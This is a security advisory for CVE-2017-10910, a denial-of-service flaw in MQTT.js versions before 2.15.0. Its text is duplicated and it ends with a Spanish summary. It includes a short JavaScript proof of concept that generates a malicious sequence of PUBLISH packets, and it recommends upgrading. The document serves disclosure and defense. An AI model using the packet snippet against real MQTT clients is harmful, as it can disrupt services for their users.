CVE-2017-10910

MQTT.js 2.x.x prior to 2.15.0 issue in handling PUBLISH tickets may lead to an attacker causing a denial-of-service condition.

MQTT.js 2.x.x prior to 2.15.0 issue in handling PUBLISH tickets may lead to an attacker causing a denial-of-service condition.

Affected versions of `mqtt` do not properly handle PUBLISH packets returning from the server, leading to a Denial of Service condition. The vulnerability is completely mitigated if the only connected servers are trusted, guaranteed not to be under the control of a malicious actor. ## Proof of Concept The following is a demonstration of how to generate the malicious packet sequence, but does not include information on handling the initial network connections and MQTT overhead. ``` var mqttp = require('mqtt-packet'); var packets = []; for(var i=0; i<=1000;i++){ packets.push( mqttp.generate({ cmd:'publish', topic:Buffer.from('hello'), payload:Buffer.from('world'), retain: false, dup: false, messageId: ++i, qos: 1 }) ) } ``` ## Recommendation Update to version 2.15.0 or later.

Affected versions of `mqtt` do not properly handle PUBLISH packets returning from the server, leading to a Denial of Service condition. The vulnerability is completely mitigated if the only connected servers are trusted, guaranteed not to be under the control of a malicious actor. ## Proof of Concept The following is a demonstration of how to generate the malicious packet sequence, but does not include information on handling the initial network connections and MQTT overhead. ``` var mqttp = require('mqtt-packet'); var packets = []; for(var i=0; i<=1000;i++){ packets.push( mqttp.generate({ cmd:'publish', topic:Buffer.from('hello'), payload:Buffer.from('world'), retain: false, dup: false, messageId: ++i, qos: 1 }) ) } ``` ## Recommendation Update to version 2.15.0 or later.

En MQTT.js en versiones 2.x.x anteriores a la 2.15.0 existe un problema en el manejo de tickets PUBLISH que puede dar lugar a que un atacante provoque una denegación de servicio (DoS).